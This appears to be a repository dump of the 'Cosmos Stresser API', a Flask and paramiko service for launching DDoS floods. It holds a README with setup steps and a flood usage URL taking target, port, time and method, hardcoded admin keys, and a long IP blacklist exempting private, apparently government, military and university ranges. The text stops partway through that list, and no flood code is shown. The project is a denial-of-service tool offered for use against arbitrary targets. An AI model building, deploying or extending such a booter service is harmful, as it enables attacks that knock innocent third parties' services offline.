├── README.md ├── data ├── admin_keys.json └── blacklist.json ├── funcs ├── __pycache__ │ ├── string.cpython-311.pyc │ └── validator.cpython-311.pyc ├── string.py ├── validator.py └── vpncheck.py ├── main.py ├── requirements.txt └── routes ├── __pycache__ ├── decorators.cpython-311.pyc └── start_flood.cpython-311.pyc ├── decorators.py ├── start_flood.py └── status.py /README.md: -------------------------------------------------------------------------------- 1 | # Cosmos Stresser API made by Robert 2 | big d00s server api. nothing complicated at all.... i made this in 20 minutes. yet its already better than most of the open source php ones. 3 | 4 | It works with python-flask and waitress. Routes GET arguments are validated with mozilla-bleach and some other validations techniques (ip, port, time....). I also use paramiko to create a ssh request and execute commands (i dont parse any in-out tho.... might do that in the future). The biggest change is using a match-case to parse method and execute different CMDS according to your l33t hacking scripts (most of php ones use if-elif-elif-elif-elif-elif type shit). 5 | 6 | will add more updates in the future.. 7 | 8 | ![2023-02-15 17_14_07-C__Windows_System32_cmd exe - py main py](https://user-images.githubusercontent.com/70919730/219189832-31fb5b66-d8f9-4b10-bc34-a50b40d82fcb.png) 9 | ![2023-02-19 15_42_39-#general _ robert 's server - Discord](https://user-images.githubusercontent.com/70919730/219974109-914cfa4a-b6e1-4097-82ce-abed274e4d37.png) 10 | 11 | [Tutorial (not a good tutorial at all)] 12 | 13 | 1: Install requirements (py -m pip install requirements) 14 | 15 | 2: Change keys in admin_keys.json 16 | 17 | 3: Change your webhook in decorators.py 18 | 19 | 4: Change your commands in the route start_flood.py 20 | 21 | 5: Start the api (py main.py) 22 | 23 | Usage: http://[SERVER_IP]:5000/flood?key=[KEY]&target=[TARGET]&port=[PORT]&time=[TIME]&method=[METHOD] 24 | 25 | 26 | [To do] 27 | 28 | - Add black list using a range of ips on the same network 29 | -------------------------------------------------------------------------------- /data/admin_keys.json: -------------------------------------------------------------------------------- 1 | { 2 | "admin_keys": [ 3 | "1337", 4 | "holacomosestasenior133333" 5 | ] 6 | } -------------------------------------------------------------------------------- /data/blacklist.json: -------------------------------------------------------------------------------- 1 | { 2 | "ranges": { 3 | "0.0.0.0/8": "BLACKLIST 1", 4 | "10.0.0.0/8": "BLACKLIST 1", 5 | "100.64.0.0/10": "BLACKLIST 1", 6 | "127.0.0.0/8": "BLACKLIST 1", 7 | "169.254.0.0/16": "BLACKLIST 1", 8 | "172.16.0.0/12": "BLACKLIST 1", 9 | "192.0.0.0/24": "BLACKLIST 1", 10 | "192.0.0.0/29": "BLACKLIST 1", 11 | "192.0.0.170/32": "BLACKLIST 1", 12 | "192.0.0.171/32": "BLACKLIST 1", 13 | "192.0.2.0/24": "BLACKLIST 1", 14 | "192.88.99.0/24": "BLACKLIST 1", 15 | "192.168.0.0/16": "BLACKLIST 1", 16 | "198.18.0.0/15": "BLACKLIST 1", 17 | "198.51.100.0/24": "BLACKLIST 1", 18 | "203.0.113.0/24": "BLACKLIST 1", 19 | "240.0.0.0/4": "BLACKLIST 1", 20 | "255.255.255.255/32": "BLACKLIST 1", 21 | "224.0.0.0/4": "BLACKLIST 1", 22 | "153.11.0.0/16": "BLACKLIST 1", 23 | "129.79.0.0/16": "BLACKLIST 1", 24 | "134.68.0.0/16": "BLACKLIST 1", 25 | "140.182.0.0/16": "BLACKLIST 1", 26 | "149.159.0.0/16": "BLACKLIST 1", 27 | "149.160.0.0/16": "BLACKLIST 1", 28 | "149.161.0.0/16": "BLACKLIST 1", 29 | "149.162.0.0/16": "BLACKLIST 1", 30 | "149.163.0.0/16": "BLACKLIST 1", 31 | "149.165.0.0/16": "BLACKLIST 1", 32 | "149.166.0.0/16": "BLACKLIST 1", 33 | "156.56.0.0/16": "BLACKLIST 1", 34 | "4.53.201.0/24":"BLACKLIST 1", 35 | "5.152.179.0/24":"BLACKLIST 1", 36 | "8.12.162.0/23":"BLACKLIST 1", 37 | "8.12.164.0/24":"BLACKLIST 1", 38 | "8.14.84.0/22":"BLACKLIST 1", 39 | "8.14.145.0/24":"BLACKLIST 1", 40 | "8.14.146.0/23":"BLACKLIST 1", 41 | "8.17.250.0/23":"BLACKLIST 1", 42 | "8.17.252.0/24":"BLACKLIST 1", 43 | "23.27.0.0/16":"BLACKLIST 1", 44 | "23.231.128.0/17":"BLACKLIST 1", 45 | "37.72.172.0/23":"BLACKLIST 1", 46 | "38.72.200.0/22":"BLACKLIST 1", 47 | "50.93.192.0/22":"BLACKLIST 1", 48 | "50.93.196.0/23":"BLACKLIST 1", 49 | "50.115.128.0/20":"BLACKLIST 1", 50 | "50.117.0.0/17":"BLACKLIST 1", 51 | "50.118.128.0/17":"BLACKLIST 1", 52 | "63.141.222.0/24":"BLACKLIST 1", 53 | "64.62.253.0/24":"BLACKLIST 1", 54 | "64.92.96.0/19":"BLACKLIST 1", 55 | "64.145.79.0/24":"BLACKLIST 1", 56 | "64.145.82.0/23":"BLACKLIST 1", 57 | "64.158.146.0/23":"BLACKLIST 1", 58 | "65.49.24.0/24":"BLACKLIST 1", 59 | "65.49.93.0/24":"BLACKLIST 1", 60 | "65.162.192.0/22":"BLACKLIST 1", 61 | "66.79.160.0/19":"BLACKLIST 1", 62 | "66.160.191.0/24":"BLACKLIST 1", 63 | "68.68.96.0/20":"BLACKLIST 1", 64 | "69.46.64.0/19":"BLACKLIST 1", 65 | "69.176.80.0/20":"BLACKLIST 1", 66 | "72.13.80.0/20":"BLACKLIST 1", 67 | "72.52.76.0/24":"BLACKLIST 1", 68 | "74.82.43.0/24":"BLACKLIST 1", 69 | "74.82.160.0/19":"BLACKLIST 1", 70 | "74.114.88.0/22":"BLACKLIST 1", 71 | "74.115.0.0/24":"BLACKLIST 1", 72 | "74.115.2.0/24":"BLACKLIST 1", 73 | "74.115.4.0/24":"BLACKLIST 1", 74 | "74.122.100.0/22":"BLACKLIST 1", 75 | "75.127.0.0/24":"BLACKLIST 1", 76 | "103.251.91.0/24":"BLACKLIST 1", 77 | "108.171.32.0/24":"BLACKLIST 1", 78 | "108.171.42.0/24":"BLACKLIST 1", 79 | "108.171.52.0/24":"BLACKLIST 1", 80 | "108.171.62.0/24":"BLACKLIST 1", 81 | "118.193.78.0/23":"BLACKLIST 1", 82 | "130.93.16.0/23":"BLACKLIST 1", 83 | "136.0.0.0/16":"BLACKLIST 1", 84 | "142.111.0.0/16":"BLACKLIST 1", 85 | "142.252.0.0/16":"BLACKLIST 1", 86 | "146.82.55.93":"BLACKLIST 1", 87 | "149.54.136.0/21":"BLACKLIST 1", 88 | "149.54.152.0/21":"BLACKLIST 1", 89 | "166.88.0.0/16":"BLACKLIST 1", 90 | "172.252.0.0/16":"BLACKLIST 1", 91 | "173.245.64.0/19":"BLACKLIST 1", 92 | "173.245.194.0/23":"BLACKLIST 1", 93 | "173.245.220.0/22":"BLACKLIST 1", 94 | "173.252.192.0/18":"BLACKLIST 1", 95 | "178.18.16.0/22":"BLACKLIST 1", 96 | "178.18.26.0/23":"BLACKLIST 1", 97 | "178.18.28.0/23":"BLACKLIST 1", 98 | "183.182.22.0/24":"BLACKLIST 1", 99 | "192.92.114.0/24":"BLACKLIST 1", 100 | "192.155.160.0/19":"BLACKLIST 1", 101 | "192.177.0.0/16":"BLACKLIST 1", 102 | "192.186.0.0/18":"BLACKLIST 1", 103 | "192.249.64.0/20":"BLACKLIST 1", 104 | "192.250.240.0/20":"BLACKLIST 1", 105 | "194.110.214.0/24":"BLACKLIST 1", 106 | "198.12.120.0/23":"BLACKLIST 1", 107 | "198.12.122.0/24":"BLACKLIST 1", 108 | "198.144.240.0/20":"BLACKLIST 1", 109 | "199.33.120.0/24":"BLACKLIST 1", 110 | "199.33.124.0/22":"BLACKLIST 1", 111 | "199.48.147.0/24":"BLACKLIST 1", 112 | "199.68.196.0/22":"BLACKLIST 1", 113 | "199.127.240.0/21":"BLACKLIST 1", 114 | "199.187.168.0/22":"BLACKLIST 1", 115 | "199.188.238.0/23":"BLACKLIST 1", 116 | "199.255.208.0/24":"BLACKLIST 1", 117 | "203.12.6.0/24":"BLACKLIST 1", 118 | "204.13.64.0/21":"BLACKLIST 1", 119 | "204.16.192.0/21":"BLACKLIST 1", 120 | "204.19.238.0/24":"BLACKLIST 1", 121 | "204.74.208.0/20":"BLACKLIST 1", 122 | "205.159.189.0/24":"BLACKLIST 1", 123 | "205.164.0.0/18":"BLACKLIST 1", 124 | "205.209.128.0/18":"BLACKLIST 1", 125 | "206.108.52.0/23":"BLACKLIST 1", 126 | "206.165.4.0/24":"BLACKLIST 1", 127 | "208.77.40.0/21":"BLACKLIST 1", 128 | "208.80.4.0/22":"BLACKLIST 1", 129 | "208.123.223.0/24":"BLACKLIST 1", 130 | "209.51.185.0/24":"BLACKLIST 1", 131 | "209.54.48.0/20":"BLACKLIST 1", 132 | "209.107.192.0/23":"BLACKLIST 1", 133 | "209.107.210.0/24":"BLACKLIST 1", 134 | "209.107.212.0/24":"BLACKLIST 1", 135 | "211.156.110.0/23":"BLACKLIST 1", 136 | "216.83.33.0/24":"BLACKLIST 1", 137 | "216.83.34.0/23":"BLACKLIST 1", 138 | "216.83.36.0/22":"BLACKLIST 1", 139 | "216.83.40.0/21":"BLACKLIST 1", 140 | "216.83.48.0/23":"BLACKLIST 1", 141 | "216.83.51.0/24":"BLACKLIST 1", 142 | "216.83.52.0/22":"BLACKLIST 1", 143 | "216.83.56.0/21":"BLACKLIST 1", 144 | "216.151.183.0/24":"BLACKLIST 1", 145 | "216.151.190.0/23":"BLACKLIST 1", 146 | "216.172.128.0/19":"BLACKLIST 1", 147 | "216.185.36.0/24":"BLACKLIST 1", 148 | "216.218.233.0/24":"BLACKLIST 1", 149 | "216.224.112.0/20":"BLACKLIST 1", 150 | "194.77.40.242/32": "BLACKLIST 1", 151 | "194.77.40.246/32": "BLACKLIST 1", 152 | "91.220.49.0/24": "BLACKLIST 1", 153 | "91.233.8.0/22": "BLACKLIST 1", 154 | "93.190.136.0/21": "BLACKLIST 1", 155 | "109.236.80.0/20": "BLACKLIST 1", 156 | "176.102.168.0/21": "BLACKLIST 1", 157 | "193.25.170.0/23": "BLACKLIST 1", 158 | "193.110.6.0/23": "BLACKLIST 1", 159 | "193.223.77.0/24": "BLACKLIST 1", 160 | "194.42.180.0/22": "BLACKLIST 1", 161 | "194.42.184.0/22": "BLACKLIST 1", 162 | "194.145.226.0/24": "BLACKLIST 1", 163 | "197.242.84.0/22": "BLACKLIST 1", 164 | "217.23.0.0/20": "BLACKLIST 1", 165 | "5.104.224.0/21": "BLACKLIST 1", 166 | "37.25.46.251/32": "BLACKLIST 1", 167 | "37.148.160.0/21": "BLACKLIST 1", 168 | "77.95.224.0/21": "BLACKLIST 1", 169 | "78.41.200.0/21": "BLACKLIST 1", 170 | "89.207.128.0/21": "BLACKLIST 1", 171 | "128.204.192.0/20": "BLACKLIST 1", 172 | "178.255.199.0/24": "BLACKLIST 1", 173 | "193.33.60.0/23": "BLACKLIST 1", 174 | "193.34.166.0/23": "BLACKLIST 1", 175 | "195.20.204.0/23": "BLACKLIST 1", 176 | "217.18.70.0/23": "BLACKLIST 1", 177 | "128.34.0.0/16": "BLACKLIST 1", 178 | "128.38.0.0/16": "BLACKLIST 1", 179 | "128.49.0.0/16": "BLACKLIST 1", 180 | "128.60.0.0/16": "BLACKLIST 1", 181 | "128.160.0.0/16": "BLACKLIST 1", 182 | "129.131.0.0/16": "BLACKLIST 1", 183 | "129.190.0.0/16": "BLACKLIST 1", 184 | "130.46.0.0/16": "BLACKLIST 1", 185 | "130.109.0.0/16": "BLACKLIST 1", 186 | "130.163.0.0/16": "BLACKLIST 1", 187 | "131.120.0.0/15": "BLACKLIST 1", 188 | "131.122.0.0/16": "BLACKLIST 1", 189 | "131.158.0.0/16": "BLACKLIST 1", 190 | "131.250.0.0/17": "BLACKLIST 1", 191 | "131.250.128.0/18": "BLACKLIST 1", 192 | "131.250.192.0/20": "BLACKLIST 1", 193 | "131.250.240.0/23": "BLACKLIST 1", 194 | "131.250.242.0/24": "BLACKLIST 1", 195 | "131.250.244.0/24": "BLACKLIST 1", 196 | "131.250.246.0/24": "BLACKLIST 1", 197 | "131.250.248.0/24": "BLACKLIST 1", 198 | "131.250.250.0/24": "BLACKLIST 1", 199 | "132.250.0.0/16": "BLACKLIST 1", 200 | "134.207.0.0/16": "BLACKLIST 1", 201 | "134.229.58.0/24": "BLACKLIST 1", 202 | "134.229.208.0/24": "BLACKLIST 1", 203 | "134.229.216.0/24": "BLACKLIST 1", 204 | "137.24.0.0/16": "BLACKLIST 1", 205 | "137.67.240.0/24": "BLACKLIST 1", 206 | "137.247.0.0/16": "BLACKLIST 1", 207 | "138.136.15.0/24": "BLACKLIST 1", 208 | "138.141.0.0/16": "BLACKLIST 1", 209 | "138.143.61.0/24": "BLACKLIST 1", 210 | "138.145.0.0/16": "BLACKLIST 1", 211 | "138.147.0.0/16": "BLACKLIST 1", 212 | "138.162.0.0/15": "BLACKLIST 1", 213 | "138.169.4.0/22": "BLACKLIST 1", 214 | "138.169.8.0/21": "BLACKLIST 1", 215 | "138.169.16.0/20": "BLACKLIST 1", 216 | "138.169.32.0/19": "BLACKLIST 1", 217 | "138.169.64.0/19": "BLACKLIST 1", 218 | "138.169.96.0/21": "BLACKLIST 1", 219 | "138.178.0.0/15": "BLACKLIST 1", 220 | "138.180.0.0/14": "BLACKLIST 1", 221 | "140.100.0.0/16": "BLACKLIST 1", 222 | "140.178.0.0/16": "BLACKLIST 1", 223 | "140.229.10.0/24": "BLACKLIST 1", 224 | "140.229.21.0/24": "BLACKLIST 1", 225 | "140.229.32.0/23": "BLACKLIST 1", 226 | "140.229.34.0/24": "BLACKLIST 1", 227 | "143.113.0.0/16": "BLACKLIST 1", 228 | "144.141.0.0/16": "BLACKLIST 1", 229 | "144.169.0.0/16": "BLACKLIST 1", 230 | "144.247.0.0/16": "BLACKLIST 1", 231 | "146.68.0.0/16": "BLACKLIST 1", 232 | "152.80.0.0/16": "BLACKLIST 1", 233 | "155.252.0.0/16": "BLACKLIST 1", 234 | "157.141.0.0/16": "BLACKLIST 1", 235 | "157.187.0.0/16": "BLACKLIST 1", 236 | "159.71.0.0/16": "BLACKLIST 1", 237 | "160.107.0.0/16": "BLACKLIST 1", 238 | "160.125.0.0/16": "BLACKLIST 1", 239 | "160.127.0.0/16": "BLACKLIST 1", 240 | "160.128.0.0/16": "BLACKLIST 1", 241 | "163.251.100.0/24": "BLACKLIST 1", 242 | "164.94.0.0/16": "BLACKLIST 1", 243 | "164.105.0.0/16": "BLACKLIST 1", 244 | "164.167.0.0/16": "BLACKLIST 1", 245 | "164.221.0.0/16": "BLACKLIST 1", 246 | "164.223.0.0/16": "BLACKLIST 1", 247 | "192.5.27.0/24": "BLACKLIST 1", 248 | "192.5.41.0/24": "BLACKLIST 1", 249 | "192.5.47.0/24": "BLACKLIST 1", 250 | "192.16.167.0/24": "BLACKLIST 1", 251 | "192.31.147.0/24": "BLACKLIST 1", 252 | "192.31.174.0/24": "BLACKLIST 1", 253 | "192.35.62.0/24": "BLACKLIST 1", 254 | "192.42.41.0/24": "BLACKLIST 1", 255 | "192.48.215.0/24": "BLACKLIST 1", 256 | "192.48.216.0/24": "BLACKLIST 1", 257 | "192.55.240.0/24": "BLACKLIST 1", 258 | "192.58.181.0/24": "BLACKLIST 1", 259 | "192.68.148.0/24": "BLACKLIST 1", 260 | "192.73.215.0/24": "BLACKLIST 1", 261 | "192.86.77.0/24": "BLACKLIST 1", 262 | "192.91.138.0/24": "BLACKLIST 1", 263 | "192.101.120.0/21": "BLACKLIST 1", 264 | "192.101.128.0/22": "BLACKLIST 1", 265 | "192.101.132.0/23": "BLACKLIST 1", 266 | "192.108.2.0/23": "BLACKLIST 1", 267 | "192.108.4.0/22": "BLACKLIST 1", 268 | "192.108.8.0/21": "BLACKLIST 1", 269 | "192.108.222.0/23": "BLACKLIST 1", 270 | "192.111.116.0/23": "BLACKLIST 1", 271 | "192.111.225.0/24": "BLACKLIST 1", 272 | "192.111.227.0/24": "BLACKLIST 1", 273 | "192.132.16.0/22": "BLACKLIST 1", 274 | "192.135.193.0/24": "BLACKLIST 1", 275 | "192.138.87.0/24": "BLACKLIST 1", 276 | "192.149.151.0/24": "BLACKLIST 1", 277 | "192.149.204.0/24": "BLACKLIST 1", 278 | "192.160.158.0/23": "BLACKLIST 1", 279 | "192.171.8.0/22": "BLACKLIST 1", 280 | "192.171.12.0/24": "BLACKLIST 1", 281 | "192.187.4.0/22": "BLACKLIST 1", 282 | "192.189.42.0/24": "BLACKLIST 1", 283 | "192.190.60.0/24": "BLACKLIST 1", 284 | "192.190.228.0/23": "BLACKLIST 1", 285 | "192.195.30.0/24": "BLACKLIST 1", 286 | "192.207.114.0/24": "BLACKLIST 1", 287 | "192.207.179.0/24": "BLACKLIST 1", 288 | "192.207.181.0/24": "BLACKLIST 1", 289 | "192.207.212.0/24": "BLACKLIST 1", 290 | "192.207.223.0/24": "BLACKLIST 1", 291 | "192.207.228.0/22": "BLACKLIST 1", 292 | "192.211.64.0/19": "BLACKLIST 1", 293 | "192.211.99.0/24": "BLACKLIST 1", 294 | "192.222.87.0/24": "BLACKLIST 1", 295 | "192.231.128.0/24": "BLACKLIST 1", 296 | "198.17.191.0/24": "BLACKLIST 1", 297 | "198.17.242.0/24": "BLACKLIST 1", 298 | "198.22.146.0/24": "BLACKLIST 1", 299 | "198.49.226.0/23": "BLACKLIST 1", 300 | "198.49.228.0/23": "BLACKLIST 1", 301 | "198.49.230.0/24": "BLACKLIST 1", 302 | "198.49.232.0/21": "BLACKLIST 1", 303 | "198.49.240.0/24": "BLACKLIST 1", 304 | "198.55.92.0/23": "BLACKLIST 1", 305 | "198.62.64.0/23": "BLACKLIST 1", 306 | "198.62.66.0/24": "BLACKLIST 1", 307 | "198.97.72.0/21": "BLACKLIST 1", 308 | "198.97.81.0/24": "BLACKLIST 1", 309 | "198.97.82.0/23": "BLACKLIST 1", 310 | "198.97.84.0/22": "BLACKLIST 1", 311 | "198.97.88.0/24": "BLACKLIST 1", 312 | "198.97.95.0/24": "BLACKLIST 1", 313 | "198.97.96.0/19": "BLACKLIST 1", 314 | "198.97.138.0/24": "BLACKLIST 1", 315 | "198.97.153.0/24": "BLACKLIST 1", 316 | "198.97.154.0/23": "BLACKLIST 1", 317 | "198.97.167.0/24": "BLACKLIST 1", 318 | "198.97.234.0/23": "BLACKLIST 1", 319 | "198.97.236.0/24": "BLACKLIST 1", 320 | "198.154.128.0/19": "BLACKLIST 1", 321 | "198.154.160.0/20": "BLACKLIST 1", 322 | "198.253.0.0/16": "BLACKLIST 1", 323 | "199.9.0.0/24": "BLACKLIST 1", 324 | "199.9.2.0/24": "BLACKLIST 1", 325 | "199.10.8.0/24": "BLACKLIST 1", 326 | "199.10.10.0/23": "BLACKLIST 1", 327 | "199.10.16.0/22": "BLACKLIST 1", 328 | "199.10.20.0/23": "BLACKLIST 1", 329 | "199.10.22.0/24": "BLACKLIST 1", 330 | "199.10.24.0/23": "BLACKLIST 1", 331 | "199.10.62.0/24": "BLACKLIST 1", 332 | "199.10.127.0/24": "BLACKLIST 1", 333 | "199.10.136.0/23": "BLACKLIST 1", 334 | "199.10.140.0/24": "BLACKLIST 1", 335 | "199.10.148.0/24": "BLACKLIST 1", 336 | "199.10.152.0/22": "BLACKLIST 1", 337 | "199.10.187.0/24": "BLACKLIST 1", 338 | "199.10.188.0/22": "BLACKLIST 1", 339 | "199.10.192.0/24": "BLACKLIST 1", 340 | "199.10.228.0/24": "BLACKLIST 1", 341 | "199.10.231.0/24": "BLACKLIST 1", 342 | "199.10.233.0/24": "BLACKLIST 1", 343 | "199.10.239.0/24": "BLACKLIST 1", 344 | "199.10.247.0/24": "BLACKLIST 1", 345 | "199.114.8.0/22": "BLACKLIST 1", 346 | "199.114.16.0/23": "BLACKLIST 1", 347 | "199.114.20.0/23": "BLACKLIST 1", 348 | "199.114.23.0/24": "BLACKLIST 1", 349 | "199.114.26.0/23": "BLACKLIST 1", 350 | "199.114.28.0/24": "BLACKLIST 1", 351 | "199.114.30.0/24": "BLACKLIST 1", 352 | "199.121.4.0/22": "BLACKLIST 1", 353 | "199.121.71.0/24": "BLACKLIST 1", 354 | "199.121.74.0/23": "BLACKLIST 1", 355 | "199.121.76.0/24": "BLACKLIST 1", 356 | "199.121.78.0/23": "BLACKLIST 1", 357 | "199.121.83.0/24": "BLACKLIST 1", 358 | "199.121.84.0/23": "BLACKLIST 1", 359 | "199.121.87.0/24": "BLACKLIST 1", 360 | "199.121.89.0/24": "BLACKLIST 1", 361 | "199.121.91.0/24": "BLACKLIST 1", 362 | "199.121.94.0/24": "BLACKLIST 1", 363 | "199.121.96.0/19": "BLACKLIST 1", 364 | "199.121.130.0/24": "BLACKLIST 1", 365 | "199.121.146.0/24": "BLACKLIST 1", 366 | "199.121.166.0/24": "BLACKLIST 1", 367 | "199.121.169.0/24": "BLACKLIST 1", 368 | "199.121.174.0/23": "BLACKLIST 1", 369 | "199.121.185.0/24": "BLACKLIST 1", 370 | "199.121.189.0/24": "BLACKLIST 1", 371 | "199.121.224.0/19": "BLACKLIST 1", 372 | "199.123.16.0/20": "BLACKLIST 1", 373 | "204.238.129.0/24": "BLACKLIST 1", 374 | "205.56.0.0/13": "BLACKLIST 1", 375 | "205.64.0.0/11": "BLACKLIST 1", 376 | "205.96.0.0/13": "BLACKLIST 1", 377 | "205.104.0.0/14": "BLACKLIST 1", 378 | "205.108.0.0/15": "BLACKLIST 1", 379 | "205.110.0.0/16": "BLACKLIST 1", 380 | "205.115.0.0/16": "BLACKLIST 1", 381 | "21.0.0.0/8": "BLACKLIST 1", 382 | "29.0.0.0/8": "BLACKLIST 1", 383 | "30.0.0.0/8": "BLACKLIST 1", 384 | "22.0.0.0/8": "BLACKLIST 1", 385 | "11.0.0.0/8": "BLACKLIST 1", 386 | "33.0.0.0/8": "BLACKLIST 1", 387 | "22.30.204.0/23": "BLACKLIST 1", 388 | "33.65.1.0/24": "BLACKLIST 1", 389 | "33.75.100.0/24": "BLACKLIST 1", 390 | "214.69.243.0/24": "BLACKLIST 1", 391 | "214.69.248.0/23": "BLACKLIST 1", 392 | "214.69.252.0/23": "BLACKLIST 1", 393 | "214.72.0.0/21": "BLACKLIST 1", 394 | "214.72.8.0/23": "BLACKLIST 1", 395 | "215.0.0.0/9": "BLACKLIST 1", 396 | "128.59.0.0/16": "BLACKLIST 1", 397 | "129.236.0.0/16": "BLACKLIST 1", 398 | "156.111.0.0/16": "BLACKLIST 1", 399 | "156.145.0.0/16": "BLACKLIST 1", 400 | "160.39.0.0/16": "BLACKLIST 1", 401 | "192.5.43.0/24": "BLACKLIST 1", 402 | "192.12.82.0/24": "BLACKLIST 1", 403 | "207.10.136.0/21": "BLACKLIST 1", 404 | "209.2.47.0/24": "BLACKLIST 1", 405 | "209.2.48.0/22": "BLACKLIST 1", 406 | "209.2.185.0/24": "BLACKLIST 1", 407 | "209.2.208.0/20": "BLACKLIST 1", 408 | "209.2.224.0/20": "BLACKLIST 1", 409 | "143.106.0.0/16": "BLACKLIST 1", 410 | "177.8.96.0/20": "BLACKLIST 1", 411 | "177.220.0.0/17": "BLACKLIST 1", 412 | "131.215.0.0/16": "BLACKLIST 1", 413 | "165.160.0.0/16": "BLACKLIST 1", 414 | "192.241.175.237/32": "BLACKLIST 1", 415 | "95.211.216.152/32": "BLACKLIST 1", 416 | "198.0.232.64/26": "BLACKLIST 1", 417 | "95.211.216.152": "BLACKLIST 1", 418 | "132.206.9.0/24": "BLACKLIST 1", 419 | "132.206.123.0/24": "BLACKLIST 1", 420 | "132.206.125.0/24": "BLACKLIST 1", 421 | "164.106.110.0/23": "BLACKLIST 1", 422 | "164.106.112.0/22": "BLACKLIST 1", 423 | "164.106.116.0/23": "BLACKLIST 1", 424 | "216.19.224.0/19": "BLACKLIST 1", 425 | "204.238.34.0/24": "BLACKLIST 1", 426 | "162.140.0.0/16": "BLACKLIST 1", 427 | "72.50.128.0/18": "BLACKLIST 1", 428 | "69.161.224.0/19": "BLACKLIST 1", 429 | "157.182.0.0/16": "BLACKLIST 1", 430 | "204.28.103.0/24": "BLACKLIST 1", 431 | "207.19.198.0/24": "BLACKLIST 1", 432 | "208.216.160.0/22": "BLACKLIST 1", 433 | "208.60.144.0/24": "BLACKLIST 1", 434 | "208.60.145.0/24": "BLACKLIST 1", 435 | "208.60.146.0/24": "BLACKLIST 1", 436 | "208.60.147.0/24": "BLACKLIST 1", 437 | "208.83.144.0/21": "BLACKLIST 1", 438 | "104.218.16.250/32": "BLACKLIST 1", 439 | "123.176.37.147/32": "BLACKLIST 1", 440 | "182.18.172.78/32": "BLACKLIST 1", 441 | "188.94.115.58/32": "BLACKLIST 1", 442 | "190.196.123.27/32": "BLACKLIST 1", 443 | "190.55.63.65/32": "BLACKLIST 1", 444 | "193.138.29.11/32": "BLACKLIST 1", 445 | "194.95.224.137/32": "BLACKLIST 1", 446 | "199.187.241.194/32": "BLACKLIST 1", 447 | "202.91.163.23/32": "BLACKLIST 1", 448 | "204.13.169.44/32": "BLACKLIST 1", 449 | "208.66.0.0/22": "BLACKLIST 1", 450 | "208.77.218.114/32": "BLACKLIST 1", 451 | "208.91.131.6/32": "BLACKLIST 1", 452 | "209.126.213.95/32": "BLACKLIST 1", 453 | "213.134.5.59/32": "BLACKLIST 1", 454 | "217.172.180.108/32": "BLACKLIST 1", 455 | "217.23.48.85/32": "BLACKLIST 1", 456 | "217.23.49.178/32": "BLACKLIST 1", 457 | "217.23.49.207/32": "BLACKLIST 1", 458 | "217.23.49.208/32": "BLACKLIST 1", 459 | "31.25.98.231/32": "BLACKLIST 1", 460 | "41.208.68.110/32": "BLACKLIST 1", 461 | "62.116.159.16/32": "BLACKLIST 1", 462 | "64.113.32.6/32": "BLACKLIST 1", 463 | "65.60.35.74/32": "BLACKLIST 1", 464 | "65.60.35.76/32": "BLACKLIST 1", 465 | "66.240.236.50/32": "BLACKLIST 1", 466 | "67.58.96.162/32": "BLACKLIST 1", 467 | "69.30.193.210/32": "BLACKLIST 1", 468 | "70.38.37.139/32": "BLACKLIST 1", 469 | "72.13.86.154/32": "BLACKLIST 1", 470 | "74.208.254.26/32": "BLACKLIST 1", 471 | "83.169.55.16/32": "BLACKLIST 1", 472 | "89.146.248.26/32": "BLACKLIST 1", 473 | "91.82.12.244/32": "BLACKLIST 1", 474 | "94.46.3.36/32": "BLACKLIST 1", 475 | "96.31.84.20/32": "BLACKLIST 1", 476 | "185.27.252.0/22": "BLACKLIST 1", 477 | "62.208.155.0/24": "BLACKLIST 1", 478 | "62.208.159.0/24": "BLACKLIST 1", 479 | "217.135.38.0/24": "BLACKLIST 1", 480 | "217.135.16.0/24": "BLACKLIST 1", 481 | "75.77.140.0/24": "BLACKLIST 1", 482 | "134.4.247.0/24": "BLACKLIST 1", 483 | "134.4.56.0/24": "BLACKLIST 1", 484 | "134.4.58.0/24": "BLACKLIST 1", 485 | "134.4.139.0/24": "BLACKLIST 1", 486 | "134.4.118.0/24": "BLACKLIST 1", 487 | "131.215.52.0/24": "BLACKLIST 1", 488 | "131.215.254.0/24": "BLACKLIST 1", 489 | "134.4.150.0/24": "BLACKLIST 1", 490 | "131.215.33.0/24": "BLACKLIST 1", 491 | "131.215.22.0/24": "BLACKLIST 1", 492 | "134.4.173.0/24": "BLACKLIST 1", 493 | "131.215.235.0/24": "BLACKLIST 1", 494 | "131.215.168.0/24": "BLACKLIST 1", 495 | "134.4.141.0/24": "BLACKLIST 1", 496 | "134.4.134.0/24": "BLACKLIST 1", 497 | "134.4.245.0/24": "BLACKLIST 1", 498 | "134.4.107.0/24": "BLACKLIST 1", 499 | "134.4.46.0/24": "BLACKLIST 1", 500 | "134.4.160.0/24": "BLACKLIST 1", 501 | "129.123.0.0/16": "BLACKLIST 1", 502 | "144.39.0.0/16": "BLACKLIST 1", 503 | "204.113.91.0/24": "BLACKLIST 1", 504 | "193.149.51.157/32": "BLACKLIST 1", 505 | "195.30.4.200/32": "BLACKLIST 1", 506 | "193.149.51.167/32": "BLACKLIST 1", 507 | "194.97.71.226/32": "BLACKLIST 1", 508 | "194.97.71.191/32": "BLACKLIST 1", 509 | "194.97.70.87/32": "BLACKLIST 1", 510 | "194.97.70.189/32": "BLACKLIST 1", 511 | "195.30.4.42/32": "BLACKLIST 1", 512 | "195.30.4.23/32": "BLACKLIST 1", 513 | "193.149.51.80/32": "BLACKLIST 1", 514 | "194.97.71.200/32": "BLACKLIST 1", 515 | "194.97.70.75/32": "BLACKLIST 1", 516 | "193.149.51.40/32": "BLACKLIST 1", 517 | "195.30.4.252/32": "BLACKLIST 1", 518 | "194.97.71.83/32": "BLACKLIST 1", 519 | "195.30.4.230/32": "BLACKLIST 1", 520 | "193.149.51.183/32": "BLACKLIST 1", 521 | "195.30.4.117/32": "BLACKLIST 1", 522 | "194.97.71.159/32": "BLACKLIST 1", 523 | "193.149.51.73/32": "BLACKLIST 1", 524 | "194.97.70.212/32": "BLACKLIST 1", 525 | "194.97.71.43/32": "BLACKLIST 1", 526 | "195.30.4.184/32": "BLACKLIST 1", 527 | "194.97.70.237/32": "BLACKLIST 1", 528 | "194.97.70.43/32": "BLACKLIST 1", 529 | "194.97.70.73/32": "BLACKLIST 1", 530 | "194.97.71.192/32": "BLACKLIST 1", 531 | "194.97.70.110/32": "BLACKLIST 1", 532 | "195.30.4.61/32": "BLACKLIST 1", 533 | "194.97.71.99/32": "BLACKLIST 1", 534 | "194.97.71.163/32": "BLACKLIST 1", 535 | "194.97.71.86/32": "BLACKLIST 1", 536 | "193.149.51.26/32": "BLACKLIST 1", 537 | "193.149.51.33/32": "BLACKLIST 1", 538 | "193.149.51.110/32": "BLACKLIST 1", 539 | "194.97.70.51/32": "BLACKLIST 1", 540 | 